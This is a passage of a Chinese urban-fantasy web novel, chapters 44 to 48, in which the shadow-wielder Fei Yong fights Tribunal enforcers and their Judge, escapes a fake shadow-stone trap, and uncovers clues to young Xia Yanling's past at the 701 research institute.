“坐稳了。”风行者拧动油门,摩托车像道闪电般冲了出去,“老鬼说,下一个影石碎片在城际列车站,裁决会的人已经出发了。”
费勇回头望了眼正在爆炸的格斗场,嘴角勾起一抹笑意。他知道,这只是开始,但他已经不再是那个只会被动防御的新手了。影子在他脚下翻涌,仿佛在欢呼,也仿佛在期待着下一场战斗。
第44章:各方势力的试探
格斗场的烟尘还没散尽,费勇的影子已经像雷达般扫过观众席的每个角落。刚才爆炸的冲击波掀飞了大半座椅,露出底下盘根错节的电缆,其中几根还在滋滋冒着火花,将人群的脸映照得忽明忽暗。
“小心左侧第三排,穿黑西装的那几个。”林悦的声音从通讯器传来,带着电流的杂音,“他们袖口有裁决会的徽记,刚才骨魔爆炸时,别人都在躲,就他们在记录你的影子动向。”
费勇的目光精准锁定目标。三个黑西装正举着钢笔状的仪器,镜头对准他脚下翻涌的暗影。其中一人察觉到他的注视,突然露出抹冷笑,钢笔末端弹出根细针,针尖泛着幽蓝的光——那是异能抑制器的探针。
“想采样?”费勇的影子突然化作道黑色的绸带,顺着电缆悄无声息地爬过去,在对方按下开关的瞬间,缠住了他的手腕。黑西装刚想挣扎,就发现自己的影子正被一股无形的力量扭曲,整个人像提线木偶般失去平衡,钢笔“当啷”一声掉在地上。
旁边两人刚要起身,就被观众席的骚动拦住了。个留着莫西干头的壮汉突然站起来,一脚踹翻座椅:“裁判瞎了吗?刚才那招明显违规!”他的手臂突然膨胀成岩石状,显然也是异能者。这声呐喊像点燃了火药桶,更多人开始起哄,有人甚至朝着裁判扔矿泉水瓶。
“是基因猎人的人。”风行者不知何时出现在费勇身后,叼着根没点燃的烟,“为首的叫石锤,能力是岩石硬化,专门替地下组织搜罗异能者尸体。他盯上你了,刚才在投注站压了你赢,赔率一赔十。”
费勇皱眉看向石锤。对方正冲他露出一口黄牙,手里把玩着枚骷髅头戒指,戒指内侧刻着个“猎”字。这种把人命当赌注的家伙,比裁决会的执法者更让他反感。
“别理他。”风行者用胳膊肘撞了撞他,“看右侧包厢,戴斗笠的那个,是破晓的‘渔夫’,负责情报传递。”
费勇顺着他的目光看去。那个斗笠压得很低,只能看到一截苍白的手腕,正握着个紫砂茶杯。察觉到他的视线,斗笠微微倾斜,杯盖轻叩了三下——这是破晓的暗号,代表“有紧急情报”。
就在这时,通讯器突然震动,苏清月的声音带着刻意压低的沙哑传来:“费勇,我混进后台的医务室了。刚才看到审判长和一个戴青铜面具的人进了VIP包厢,那面具……和你描述的灯塔面具很像。”
费勇的影子猛地绷紧。灯塔怎么会和审判长在一起?难道破晓里有内鬼?还是说,灯塔的身份远比他想象的更复杂?
“还有,”苏清月的声音顿了顿,“我在医务室的药柜里发现了这个。”通讯器传来一阵窸窸窣窣的响动,随后弹出张照片——那是瓶贴着“实验体73号”标签的药剂,瓶身的纹路和裁决会的病毒抑制剂一模一样,“青禾堂枯萎的植物,根须里就有这种药剂的残留。”
费勇的指尖泛出寒意。这么说,裁决会不仅在格斗场设了陷阱,还同时对青禾堂下手,目的就是为了牵制他和苏清月。审判长这步棋,走得不可谓不毒。
“小心!”林悦的警告声突然响起。费勇猛地侧身,一道银光擦着他的耳边飞过,钉在身后的立柱上——是把匕首,刀柄缠着黑色的布条。
他的影子迅速顺着匕首攀援而上,在布条里卷出张折叠的纸条。展开一看,上面只有一行字:“午夜,西郊焚化场,用骨魔尸体换影石。”字迹潦草,墨色发乌,像是用血写的。
“是渔夫扔的。”风行者眯起眼,“但这字迹不对,渔夫向来用左手写字,这明显是右手写的。”
费勇捏紧纸条。纸边缘的纤维里还残留着淡淡的消毒水味,和苏清月发来的药剂瓶上的味道一模一样。这不是破晓的情报,是裁决会设下的又一个陷阱。
“看来有人急着让我们自相残杀。”费勇将纸条揉成一团,影子突然化作只利爪,精准地抓住了人群中一个想溜走的服务生。那服务生穿着件不合身的制服,领口露出半截黑色的衣领——是裁决会执法者的内衬。
“说,谁让你扔的匕首?”费勇的影子勒住他的喉咙,金色纹路在对方颈间闪烁。服务生吓得脸色惨白,眼珠乱转:“是……是个戴面具的人,他给了我一千块,说只要把匕首扔到你附近就行……”
就在这时,VIP包厢的方向突然传来一声闷响。费勇抬头看去,只见那个戴斗笠的渔夫正从包厢窗口坠落,斗笠掉在地上,露出张被血浸透的脸——是苏清月描述过的破晓成员!他的胸口插着根骨矛,和骨魔身上的材质一模一样。
“不好!”费勇立刻发动影遁,朝着后台冲去。苏清月还在医务室,现在肯定有危险。风行者紧随其后,超音速移动带起的气流掀飞了沿途的座椅:“我去追凶手,你去找苏清月!”
医务室的门虚掩着,里面传来玻璃破碎的声音。费勇推门而入时,正看到个穿白大褂的男人举着针管,刺向背对着他的苏清月。那男人的后颈有个黑色的纹身,是裁决会的审判标记。
“小心!”费勇的影刃瞬间出鞘,斩断了针管。苏清月猛地转身,手里的输液架横扫过来,砸在男人的膝盖上。随着一声脆响,男人的腿骨竟像玻璃般碎裂开来——原来他也是被植入了影石碎片的改造人。
“裁决会的‘清洁工’。”苏清月迅速后退,指尖凝聚出绿色的藤蔓,“他们专门负责处理暴露的线索。”她指着墙角的通风口,“刚才有个人从这里跑了,戴青铜面具,速度很快。”
费勇的影子立刻钻进通风口,却只抓到一缕残留的能量——那能量既带着灯塔面具的青铜气息,又混杂着审判长特有的黑色能量场。这两种截然不同的能量,怎么会出现在同一个人身上?
“看这个。”苏清月捡起地上的一个录音笔,按下播放键。里面传出两个模糊的声音,一个带着金属摩擦的质感,应该是戴面具的人;另一个阴冷沙哑,正是审判长。
“……影石碎片已经到手,费勇果然按计划来了……”
“……灯塔那边有动静吗?……”
“……放心,他还以为我们不知道他的真实身份……”
“……午夜焚化场,必须让费勇拿到假影石……”
录音到这里突然中断,只剩下一阵电流的杂音。费勇捏紧录音笔,指节因用力而发白。原来从一开始,灯塔和审判长就在演一出双簧,目的就是为了让他拿到那块假的影石碎片。可灯塔为什么要这么做?他不是破晓的首领吗?
“外面好像有动静。”苏清月突然指向窗口。费勇探头一看,只见格斗场的人群正在散去,石锤带着几个基因猎人站在门口,显然是在等他。而更远处的街角,几个黑西装正抬着个盖着黑布的担架,担架上隐约能看出人形——应该是渔夫的尸体。
“我们得赶紧走。”苏清月拉起费勇的手,她的指尖带着植物特有的清凉,“青禾堂的植物告诉我,西郊焚化场附近有很强的能量波动,像是……影石阵的能量。”
费勇的影子突然在地面上画出个图案,正是他在废弃电站看到的影石阵纹路。其中一块碎片的位置,正好对应着西郊焚化场。“不管是陷阱还是什么,我都得去。”他看着苏清月,“你先回青禾堂,保护好那里的影石碎片。”
苏清月刚想反驳,就被费勇按住了肩膀。“相信我。”他的影子在她手心画了个小小的太阳——这是他们之前约定的安全信号,“我会没事的。”
离开医务室时,费勇特意绕到VIP包厢。里面已经空无一人,只留下满地的玻璃碎片,其中几片沾着青铜色的粉末。他用影子收集起粉末,发现里面竟藏着一丝微弱的生命能量——这能量很熟悉,和他父亲留在影石碎片里的能量一模一样。
“看来事情比想象的更复杂。”风行者的声音在门口响起,手里还拎着个昏迷的基因猎人,“石锤那伙人被我打跑了,但他们肯定会去焚化场蹲点。”他扔过来一把钥匙,“这是焚化场后门的钥匙,老鬼托人弄来的。”
费勇接住钥匙,发现上面刻着个“破”字,是破晓的标记。这把钥匙,到底是老鬼真心帮忙,还是另一个陷阱的诱饵?
“对了,林悦让我给你这个。”风行者递来一个黑色的手环,“特调科的能量探测器,能分辨影石的真假。她说如果午夜没收到你的信号,就带人去焚化场掀翻裁决会的老巢。”
费勇将手环戴在手腕上,影子里的金色纹路与手环产生共鸣,亮起一道柔和的绿光。他抬头看向窗外,夜色已经完全降临,城市的灯光像散落的星辰,映照着隐藏在阴影里的无数双眼睛。
不管是灯塔的算计,还是审判长的阴谋,或是基因猎人的觊觎,他都必须去面对。因为他知道,影石阵的真相,父亲的失踪,十年前的觉醒潮……所有的谜团,都藏在西郊焚化场的那片暗影里。
影子在他脚下翻涌,仿佛已经迫不及待要去揭开那些被掩盖的秘密。费勇深吸一口气,朝着门口走去。
第45章:影石的陷阱
格斗场地下仓库的铁门锈得能刮下三层皮,费勇推开门时,铁锈簌簌落在骨魔的尸体袋上。空气里弥漫着福尔马林和机油的混合味,头顶的灯泡接触不良,光线忽明忽暗,把堆在角落的废弃器械照得像一个个扭曲的人影。
“倒是比约定时间早了三分钟。”阴影里传来个沙哑的声音,三个穿黑风衣的男人推着个金属台走出来,台上盖着块黑布,轮廓正好能放下一个盒子。为首的男人右耳缺了半块,露出底下青紫色的疤痕——是裁决会的执法队长,老鬼的资料里提过他擅长用异能抑制网。
费勇没说话,只是用脚尖踢了踢脚边的尸体袋。骨魔的残骸被影石爆炸搅得稀碎,只能勉强凑出个人形,袋口渗出的黑色汁液在地上腐蚀出细密的小洞。他的影子顺着地面悄悄蔓延,在三个男人的脚踝处织成隐形的网——这是他从影傀儡技里改良的“影绊”,只要对方有异动,就能瞬间锁住关节。
“验货吧。”缺耳队长掀开黑布,露出个银质盒子,盒面刻着裁决会的徽记,“影石碎片在里面,只要确认骨魔死透了,这东西就归你。”他的手指在盒子边缘摩挲,那里有个不易察觉的凹槽,显然藏着机关。
费勇的目光扫过盒子,林悦给的能量探测器突然在手腕上发烫,绿灯变成闪烁的红光——这是“高危险能量反应”的信号。他不动声色地打了个响指,影子化作细针,悄无声息地钻进盒子的锁孔。
“怎么?不敢打开?”缺耳队长嗤笑一声,“还是怕里面装着炸弹?”他故意向前半步,风衣下摆扫过地面,露出靴子里的抑制器探针,“放心,审判长说了,要活的影子。”
就在影子即将触碰到盒内物体的瞬间,费勇突然操控暗影猛地收紧!三个男人的脚踝同时被影绊锁住,身体前倾的瞬间,费勇已经抄起旁边的钢管,砸向金属台的支撑柱。随着“哐当”一声巨响,盒子从台面上翻落,在空中打开的刹那,里面滚出的根本不是影石碎片,而是块裹着黑色粘液的石头,落地就冒出刺鼻的黑烟。
“假的!”缺耳队长脸色骤变,猛地按下藏在掌心的按钮。仓库顶部突然落下张电网,蓝色的抑制射线瞬间笼罩全场。费勇早有准备,影遁发动的同时,影子在地面炸开黑色的能量波,暂时干扰了电网的电流。
“抓住他!”缺耳队长的身体突然膨胀,皮肤变成青灰色的鳞片——原来他也是改造人,异能是“鳞片硬化”。另外两个男人同时掏出抑制器,射线呈交叉状射向费勇的影子。
费勇的影刃横扫,斩断了射来的射线,却发现影刃的边缘在冒烟——这抑制器的功率比之前遇到的强三倍。他借着影遁的掩护绕到缺耳队长身后,影刃刺向对方后颈的能量节点,却被鳞片弹开,震得虎口发麻。
“没用的!”缺耳队长转身挥拳,拳风带着鳞片特有的腥气,“这鳞片能吸收暗影能量!”
费勇突然笑了。他故意后退半步,让影子暴露在对方的攻击范围内。缺耳队长的拳头刚要击中暗影的瞬间,费勇猛地解除影绊,同时操控影子向上翻卷,像块黑色的抹布,牢牢裹住了对方的拳头!
“你找死!”缺耳队长想收回拳头,却发现暗影正顺着鳞片的缝隙往里钻,接触到皮肤的地方传来灼烧般的疼痛。这是费勇新练的“影蚀”,能将暗影能量压缩成腐蚀性的流质,专门对付硬化类异能。
另外两个男人的抑制射线再次射来,费勇的影子突然分裂成两道,一道缠住缺耳队长的手臂,另一道化作盾牌,堪堪挡住射线。就在这时,仓库深处传来沉重的脚步声,一个穿着黑色礼帽的身影从阴影里走出,帽檐压得很低,只能看到下巴上的刀疤——正是之前在VIP包厢见过的审判长。
“玩够了吗?”审判长的声音像冰锥刮过玻璃,他甚至没看被影蚀折磨的缺耳队长,目光死死锁定费勇的影子,“你的暗影能量比上次纯净多了,看来骨魔的能量没白给你。”
费勇的影子突然剧烈起伏,像是感受到了威胁。他能感觉到一股无形的压力从审判长身上传来,仿佛有只冰冷的手攥住了他的心脏,连思维都开始变得迟钝。这就是审判长的异能?“群体精神控制”?
“别挣扎了。”审判长向前走了两步,礼帽下的眼睛闪烁着诡异的红光,“你的影子很快就会属于我。想想看,暗影本源加上精神控制,能创造出多么完美的武器。”他的声音带着蛊惑的力量,费勇的影子开始不受控制地向他延伸,金色纹路以肉眼可见的速度黯淡下去。
能量探测器的红灯已经快爆了,费勇咬紧舌尖,剧痛让他暂时摆脱了精神控制。他知道不能硬拼,必须想办法干扰对方的精神场。就在这时,他想起苏清月说过的话:“生命能量能扰乱精神类异能,因为情绪是意识的防火墙。”
可哪里来的生命能量?他的影子还在被审判长牵引,每挣扎一下,就有一股能量被对方吸走。费勇的视线开始模糊,仓库的景象在他眼前扭曲,变成十年前的画面——年幼的自己站在空荡荡的客厅里,父亲的影子在墙上被拉得很长,然后突然碎裂……
“不!”费勇猛地嘶吼,暗影能量突然爆发,暂时挣脱了精神控制。他的影子在地面上疯狂翻涌,形成巨大的漩涡,将电网和抑制射线全部卷入其中。审判长显然没料到他能爆发这么强的能量,后退半步的瞬间,漩涡中心突然传来一阵刺耳的金属摩擦声。
通风管的格栅被什么东西撞开了!一个小小的身影从里面滚出来,怀里抱着个破旧的布娃娃,落地时还打了个趔趄。是夏艳玲!她怎么会在这里?
“放开他!”夏艳玲的声音带着哭腔,布娃娃的眼睛突然亮起红光。她的身体周围冒出橘红色的火焰,不是普通的火,而是带着灼热情绪的能量体——这是她的愤怒具象化!
火焰接触到审判长的精神场时,发出“滋滋”的响声,像烙铁烫在肉上。审判长闷哼一声,精神控制出现了瞬间的断裂。费勇抓住这个机会,暗影漩涡猛地收缩,将所有能量凝聚成尖锐的影刺,刺向对方的精神场核心。
“小鬼碍事!”审判长的精神能量爆发,冲击波将夏艳玲掀飞出去。布娃娃掉在地上,从里面滑出一张泛黄的照片,正好落在费勇脚边。照片上是个穿着白大褂的女人,抱着年幼的夏艳玲,背景是研究所的标志——和苏清月家族的古籍封面一模一样!
就在这时,夏艳玲的火焰突然变成冰蓝色。她的恐惧情绪具象化了,仓库的地面瞬间结出冰层,冻住了审判长的脚踝。这是费勇第一次见她能同时操控两种情绪能量,而且切换得如此流畅。
“走!”费勇抓住夏艳玲的手,影子在地面炸开黑色的烟雾,掩护两人冲向仓库后门。审判长的怒吼从身后传来,精神能量像追魂索般紧随其后:“我记住你们了!尤其是你,情绪核心的继承者!”
跑出地下仓库时,费勇才发现夏艳玲的手心全是汗,布娃娃的胳膊掉了一只。他刚想问她为什么会来,就看到风行者靠在墙边,嘴里叼着根烟,嘴角还带着伤:“老鬼算到审判长会来阴的,让我把这小丫头送来当后手。没想到你俩配合得还挺默契。”
夏艳玲突然抱住费勇的胳膊,把脸埋在他的袖子上,声音闷闷的:“布娃娃说,你有危险。”她怀里的布娃娃眼睛还亮着,红光映在费勇的影子上,竟让那些黯淡的金色纹路重新亮了些。
费勇看向仓库的方向,审判长应该不会追来了,但他最后那句话让人心惊——“情绪核心的继承者”?夏艳玲和十年前的研究所到底有什么关系?他捡起地上的照片,女人胸前的工牌上写着“项目负责人:夏兰”,这是夏艳玲的母亲?
“林悦快到了。”风行者掐灭烟头,“她带了特调科的人,正好清理这里的烂摊子。”他注意到费勇手里的照片,脸色微变,“这是……初代情绪异能者?”
费勇还没来得及追问,林悦的声音就从通讯器传来,带着电流的杂音:“费勇!东郊仓库发现大量改造人,苏清月说他们在转移真正的影石碎片!”
夏艳玲突然抬头,布娃娃的眼睛指向东方:“那边……有好多害怕的影子。”
费勇握紧她的手,影子在脚下蓄势待发。假影石、审判长的精神控制、夏艳玲的身世、突然出现的转移行动……这一切显然都是圈套,但他别无选择,必须跟着线索走下去。
“去东郊。”费勇的声音带着不容置疑的坚定,“这次我们抓活的。”
第46章:冰火双杀
夏艳玲的愤怒火焰像条活过来的火蛇,顺着审判长的精神场往上爬,灼烧得空气都在扭曲。审判长礼帽下的疤痕突突直跳,他显然没料到这丫头的情绪能量能硬撼精神控制,踉跄后退时,风衣下摆扫过结冰的地面,发出刺啦的摩擦声。
“就是现在!”费勇的影子突然从冰面下窜出,像把淬了寒气的刀,顺着审判长的脚踝缠了三圈。这是他刚才趁着火焰干扰的瞬间布下的影绊,此刻借着冰层的低温,竟生出层薄薄的黑霜,将对方的动作冻得更加迟缓。
夏艳玲的眼泪还挂在睫毛上,听到费勇的喊声却立刻抿紧嘴唇。她怀里的布娃娃眼睛闪了闪,橘红色火焰“唰”地变成冰蓝色,仓库地面以肉眼可见的速度结出蛛网般的冰纹,从她脚边一直蔓延到审判长的脚下,连空气里都飘起了细碎的冰晶。
“这丫头的情绪切换怎么可能这么快?”审判长的瞳孔骤然收缩。他能感觉到精神场正在被两种极端情绪撕扯,愤怒的灼热让他头晕目眩,恐惧的冰寒又让思维发僵,就像同时被扔进熔炉和冰窖。这种矛盾的精神冲击,比单纯的暗影攻击更让他难受。
费勇可没给对方缓冲的机会。他踩着冰面滑到审判长侧面,影子与冰层融合的瞬间,凝聚出把半黑半白的影冰刃——刃身是流动的暗影,边缘却裹着层透明的冰壳,挥起来带起串串冰雾。这是他刚才灵光一闪想到的组合技,用暗影的腐蚀性配合冰层的脆性,专门对付精神系异能者的能量场。
“两个小鬼也敢翻天?”审判长被彻底激怒了。他猛地扯掉礼帽,露出张布满青筋的脸,太阳穴突突跳动,像有两条蚯蚓在皮肤下游走。随着他一声低喝,无形的精神冲击波以他为中心炸开,仓库里的废弃器械“哐当哐当”撞在一起,冰面瞬间布满裂纹,连夏艳玲的冰蓝色火焰都被震得摇曳不定。
费勇的影冰刃刺到一半突然顿住,冲击波像块看不见的墙,压得他胸口发闷。他能感觉到影子里的金色纹路在剧烈闪烁,显然是精神冲击在干扰暗影能量的流动。就在这僵持的瞬间,审判长的精神能量突然凝聚成根尖刺,绕过影冰刃的防御,直刺离得最近的夏艳玲!
“小心!”费勇想都没想就扑过去,用后背挡住了精神尖刺。虽然有影子化作的护盾缓冲,那股冰冷的能量还是穿透身体,让他眼前一黑,差点跪倒在冰面上。暗影能量剧烈翻涌,像是在抗议这突如其来的冲击。
夏艳玲被费勇扑得踉跄后退,怀里的布娃娃“啪嗒”掉在地上。娃娃的肚子裂开道缝,从里面滑出张泛黄的照片,正好落在冰面上。照片上的女人穿着白大褂,怀里抱着个扎羊角辫的小女孩,背景里的研究所门牌隐约能看清——“701生物能量研究所”。
那小女孩的眉眼,分明就是小时候的夏艳玲。而那个女人的侧脸,竟和苏清月古籍里夹着的老照片上的人有七分相似。
审判长的精神尖刺停在半空,他死死盯着那张照片,脸色变得煞白,连声音都在发颤:“夏兰……这是夏兰的女儿?你是……‘情绪核心’的继承者!”
这句话像道惊雷炸在仓库里。费勇扶着冰面勉强站稳,后背的刺痛让他倒抽冷气,但更让他在意的是审判长的反应。情绪核心?那是什么?和夏艳玲的能力有关吗?
夏艳玲显然也被“夏兰”这个名字触动了,她捡起照片的手指在发抖,眼泪毫无预兆地掉下来,砸在照片上晕开小小的水渍。随着她的哭泣,仓库里的冰蓝色火焰突然暴涨,这次却不是冰冷的恐惧,而是带着哭腔的愤怒——两种情绪在她身上交织,形成红蓝相间的能量漩涡。
“原来判官要找的人就是你。”审判长的眼神从震惊变成狂喜,他的精神能量开始疯狂膨胀,礼帽掉在地上被能量波震成碎片,“抓到你,就能完成十年前没做完的实验了!”
费勇突然明白过来。审判长的目标从一开始就不是他的影子,而是夏艳玲!所谓的影石交易、精神控制,都只是为了引夏艳玲暴露的诱饵。这个看似柔弱的小姑娘,身上藏着比影石更重要的秘密。
“想动她,先过我这关。”费勇的影子突然暴涨,吞噬了仓库里所有的暗影能量,形成个巨大的黑色领域。在领域里,他能清晰地看到审判长精神能量的流动轨迹,那些红色的能量丝像毒蛇般盘踞在对方周身,正准备发动致命一击。
他抓住夏艳玲的手,将自己的暗影能量渡过去一丝。奇异的事情发生了,那丝暗影能量接触到夏艳玲的情绪漩涡后,竟让红蓝两色的能量变得稳定起来,不再互相冲突,反而形成种奇妙的平衡。
“用这个。”费勇低声说,同时操控影子在冰面上画出个复杂的纹路——这是他从影石碎片里领悟的能量引导阵。夏艳玲虽然不懂阵法,却本能地将情绪能量注入纹路中,红蓝相间的能量顺着纹路流动,在地面形成个旋转的光轮。
审判长的精神尖刺已经刺到面前,费勇却突然笑了。他猛地解除影界领域,同时夏艳玲将光轮推向对方——被压缩的情绪能量在接触到精神尖刺的瞬间爆发,愤怒的火焰与恐惧的寒冰同时作用在审判长身上,让他的精神场像被冰火两重天反复炙烤,发出玻璃碎裂般的响声。
“不可能……两种情绪能量怎么可能共存……”审判长发出痛苦的嘶吼,身体周围的精神能量开始溃散,露出底下布满血管的脸。他显然无法承受这种能量反噬,踉跄后退时撞在仓库的铁架上,无数废弃器械砸下来,将他埋在下面。
费勇拉着夏艳玲趁机冲向仓库后门,跑出很远还能听到身后传来的爆炸声。夏艳玲紧紧攥着那张照片,布娃娃被她抱在怀里,裂缝处透出微弱的红光,像是在安慰她。
“你妈妈……是叫夏兰吗?”费勇喘着气问,后背的刺痛还在隐隐发作,但心里却松了口气。刚才那招“冰火双杀”完全是临时起意,没想到效果会这么好。
夏艳玲点了点头,又摇了摇头:“记不清了……只记得火很大,妈妈把娃娃塞给我,让我跟着影子走。”她抬起头,眼睛亮晶晶地看着费勇,“你的影子,和那天的影子很像。”
费勇的心猛地一跳。那天的影子?难道是父亲的影子?他还想再问,通讯器突然响了,风行者的声音带着喘息传来:“你们在哪?我刚解决掉三个追来的执法者,审判长的信号在仓库里消失了,可能……”
话没说完,就听到风行者那边传来声闷响,接着是金属碰撞的声音,通讯器就此中断。
费勇和夏艳玲对视一眼,都从对方眼里看到了凝重。风行者出事了?
“去帮他。”费勇握紧夏艳玲的手,影子在脚下蓄势待发。他能感觉到,刚才那一战让他和夏艳玲的能量产生了某种共鸣,这种共鸣不仅让他们击退了审判长,似乎还开启了某个隐藏的秘密。
而那个秘密,很可能就藏在夏艳玲的记忆里,藏在那张泛黄的照片背后,藏在十年前那场改变无数人命运的“觉醒潮”中。
第47章:超音速突围
审判长的精神尖刺离夏艳玲的眉心只有三寸时,空气突然发出撕裂般的爆鸣。一道灰影带着超音速移动的热浪撞过来,正正撞在审判长的侧腰——是风行者!他的夹克被气流掀得猎猎作响,嘴角挂着血丝,显然刚才的撞击用了全力。
“你的对手是我。”风行者的声音带着喘,却透着股桀骜。他绕着审判长高速移动,形成道模糊的气流屏障,将费勇和夏艳玲护在后面。超音速带起的风压让地面的冰碴子都飞了起来,打在废弃器械上噼啪作响,倒像是在为这场突袭伴奏。
审判长被撞得踉跄后退,精神尖刺瞬间溃散。他捂着侧腰,那里的衣服已经被气流撕开,露出道深可见骨的伤口——风行者的撞击不仅是物理攻击,还带着高速摩擦产生的热能,灼伤了他的皮肉。
“超音速移动?有点意思。”审判长舔了舔嘴唇,伤口处的肌肉竟在缓慢蠕动愈合,“可惜,速度再快,也逃不过精神控制。”他的眼神突然变得诡异,精神能量像潮水般涌向风行者。
费勇趁机抱起夏艳玲:“走!”他的影子在脚下铺开,形成道黑色的滑毯,顺着冰面滑向仓库后门。夏艳玲紧紧搂着他的脖子,布娃娃的破洞蹭着他的耳朵,传来细碎的布料摩擦声,倒让这紧张的突围多了点莫名的亲昵。
风行者察觉到精神能量的波动,突然改变轨迹,绕着审判长画起了圈。高速移动形成的气流开始旋转,渐渐凝聚成道龙卷风,将审判长困在中间。“想控制我?先追上我的速度再说。”风行者的声音从风眼里传来,带着丝戏谑。
审判长的精神能量一次次撞在气流屏障上,却都被高速旋转的风化解。他的脸色越来越难看,太阳穴的青筋跳得更厉害了——显然,风行者这种不讲道理的速度流,正好克制他需要锁定目标的精神控制。
费勇抱着夏艳玲冲出仓库后门时,正好撞上队赶来支援的裁决会执法者。为首的执法者举起异能抑制器,蓝色的射线已经瞄准了费勇的影子:“抓住暗影异能者!判官有令,要活的!”
“麻烦。”费勇低骂一声,怀里的夏艳玲突然拽了拽他的衣领。他低头一看,小姑娘正睁着亮晶晶的眼睛指着旁边的铁架——那里堆着十几个空油桶,影子在地面拖得老长,像一条条黑色的蛇。
费勇的脑子瞬间闪过个主意。他没冲执法者硬闯,反而操控影子缠上那些油桶的暗影。就在执法者的抑制射线射来的瞬间,他猛地将油桶拽倒——“轰隆”一声巨响,油桶滚了满地,正好挡住了射线,还把前排的两个执法者绊倒在地。
“走这边!”费勇抱着夏艳玲拐进条堆满废弃轮胎的岔路。轮胎的橡胶味混杂着机油味扑面而来,他的影子却像找到了宝藏,在轮胎的暗影里快速穿梭,吸收着周围的暗影能量。
突然,他想起了灯塔在通讯器里说过的话:“暗影能量无处不在,关键是学会吞噬,而不是单纯操控。”之前他一直没敢尝试,怕能量失控反噬,可现在这情形,显然容不得犹豫。
费勇深吸一口气,集中精神引导影子。那些原本只是辅助移动的暗影突然活了过来,像无数张小嘴,开始疯狂吞噬周围轮胎、墙壁、器械投射出的影子能量。他能感觉到一股温热的力量顺着影子涌入体内,影子里的金色纹路越来越亮,甚至开始主动向周围的暗影伸出“触须”。
“这是……”费勇的脚步顿了顿。他的影子正在以肉眼可见的速度膨胀,顺着地面蔓延开,渐渐凝聚成只覆盖半条走廊的巨大黑影手。黑影手的五指张开,每根手指都有轮胎那么粗,指尖还泛着流动的金色光泽。
追来的执法者正好冲到岔路口,看到这只巨手时都愣了一下。为首的执法者刚想下令开火,巨手已经横扫过来——“砰砰砰”几声闷响,七八个执法者像被拍飞的苍蝇,撞在墙上滑下来,手里的抑制器摔得粉碎。
“你的能量掌控……进步这么快?”风行者不知何时追了上来,他的夹克被撕开个大口子,头发乱得像鸡窝,看巨手的眼神却像见了鬼,“早上教你吞噬能量的时候,你不是还差点把自己影子烧了吗?”
费勇没功夫跟他斗嘴。巨手虽然威力大,但维持起来异常消耗精神,他的太阳穴已经开始突突跳了。“审判长呢?”他一边操控巨手挡着后续的执法者,一边往出口退。
“被我引到东边仓库了,暂时追不上来。”风行者抹了把嘴角的血,从口袋里摸出个金属球扔给费勇,“按红色按钮,能炸出条路。快撤,我断后。”
费勇接住金属球时,手指无意间扫过风行者的影子。就在这触碰的瞬间,他突然感觉到一股熟悉的能量——是风行者的超音速移动异能!原来刚才的混乱中,他的影子不知不觉复制了对方的能力。
“不用断后。”费勇突然笑了。他按下金属球的红色按钮,将其扔向执法者密
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集的方向,同时拽住风行者的胳膊,“抓紧了!”
在风行者惊愕的目光中,费勇的影子突然爆发出强烈的金色光芒。超音速移动的能量顺着影子涌入他的四肢,周围的景物瞬间变成模糊的色块,耳边只剩下空气撕裂的尖啸——他竟然同时使用了暗影滑毯和超音速移动!
**的火光在身后亮起时,他们已经冲出了仓库区。费勇因为突然使用高阶异能,腿一软差点跪倒在地,影子里的金色纹路瞬间黯淡下去,连带着复制的超音速能力也消失了。
“你小子……”风行者扶着他,语气复杂,“竟然能同时用两种能量?不怕精神撕裂吗?”
费勇还没来得及回答,怀里的夏艳玲突然指着他的手。他低头一看,自己的右手不知何时沾了个执法者的血手印——刚才巨手扫开执法者时不小心蹭到的。而接触到血迹的影子,竟在微微发烫,还隐隐传来股力量感。
“这是……”费勇突然感觉到,影子里多了种陌生的能量——是那个被扫飞的执法者的“力量强化”异能!原来刚才影子不仅吞噬了暗影能量,还顺便复制了接触到的异能。
风行者显然也察觉到了,吹了声口哨:“这下赚大了,免费学了个力量强化。”他拍了拍费勇的肩膀,“不过你这复制能力也太随机了,跟抽奖似的。”
费勇没理会他的调侃。他看着自己发烫的右手,又看了看怀里抱着布娃娃、眼神懵懂的夏艳玲,突然意识到——吞噬能量似乎并没有想象中那么危险,甚至还能和复制异能产生奇妙的联动。只是这种联动带来的精神负荷,比单纯使用一种能力要重得多,他的头已经开始隐隐作痛了。
“先离开这里再说。”费勇强忍着不适,抱起夏艳玲往远处的摩托车走去。风行者跟在他身后,时不时回头望一眼仓库区的方向,眉头紧锁——刚才他引开审判长时,隐约看到对方的口袋里露出半块影石碎片,和骨魔体内的那种一模一样。
而费勇的注意力,则全在夏艳玲怀里的照片上。照片被小姑娘小心翼翼地夹在布娃娃的破洞里,露出的一角正好能看到“701研究所”的门牌。这个研究所,到底藏着多少秘密?和夏艳玲的“情绪核心”,又有什么关系?
影子在脚下缓缓流动,像是在消化刚才吞噬的能量,又像是在预示着更多未知的挑战。费勇知道,这次突围虽然成功了,但真正的麻烦,才刚刚开始。
第48章:布娃娃的秘密
青禾堂的药香混着淡淡的草木气息,总算驱散了仓库里的**味。夏艳玲抱着缺了只胳膊的布娃娃,蜷缩在墙角的藤椅上,膝盖抵着下巴,像只刚受了惊的小兽。她的睫毛上还挂着泪珠,却倔强地抿着嘴,不肯发出一点声音,只有布娃娃破洞处露出的棉花,随着她细微的颤抖轻轻晃动。
费勇坐在对面的木桌旁,手里捏着那张从仓库带出来的照片。刚才突围时照片被揉出了几道折痕,他正用指腹小心翼翼地抚平。照片背面的字迹在台灯下格外清晰——“701研究所,情绪核心实验体07”,钢笔墨水已经有些褪色,却依然透着股冰冷的实验记录感。
“情绪核心实验体……”费勇低声念着这行字,指尖无意间划过照片上那个穿白大褂的女人。她的眉眼温和,抱着年幼的夏艳玲时,嘴角带着浅浅的笑意,完全不像个冷酷的实验者。可这行字,又分明将她和那场未知的实验绑在了一起。
夏艳玲听到“实验体”三个字,突然瑟缩了一下。她把布娃娃抱得更紧了,娃娃的红眼睛正好对着费勇,像是在无声地**。费勇立刻停了口,换了个语气:“这照片上的人,你记得吗?”
小姑娘摇摇头,又点点头,手指无意识地抠着布娃娃肚子上的破洞。“记不清了……但她身上有暖暖的味道,像阳光晒过的被子。”她的声音细若蚊蚋,却带着种让人揪心的柔软,“她总说,玲玲要保护好自己的情绪,不能被别人拿走。”
“被别人拿走?”费勇皱起眉。难道“情绪核心”是可以被掠夺的?审判长说的“完成十年前没做完的实验”,难道就是指这个?
这时苏清月端着药碗从里屋走出来,白大褂的下摆扫过地面的青苔,带来一阵草木清香。她刚给风行者处理完伤口,袖口还沾着点草药汁,看到费勇手里的照片时,脚步突然顿住。
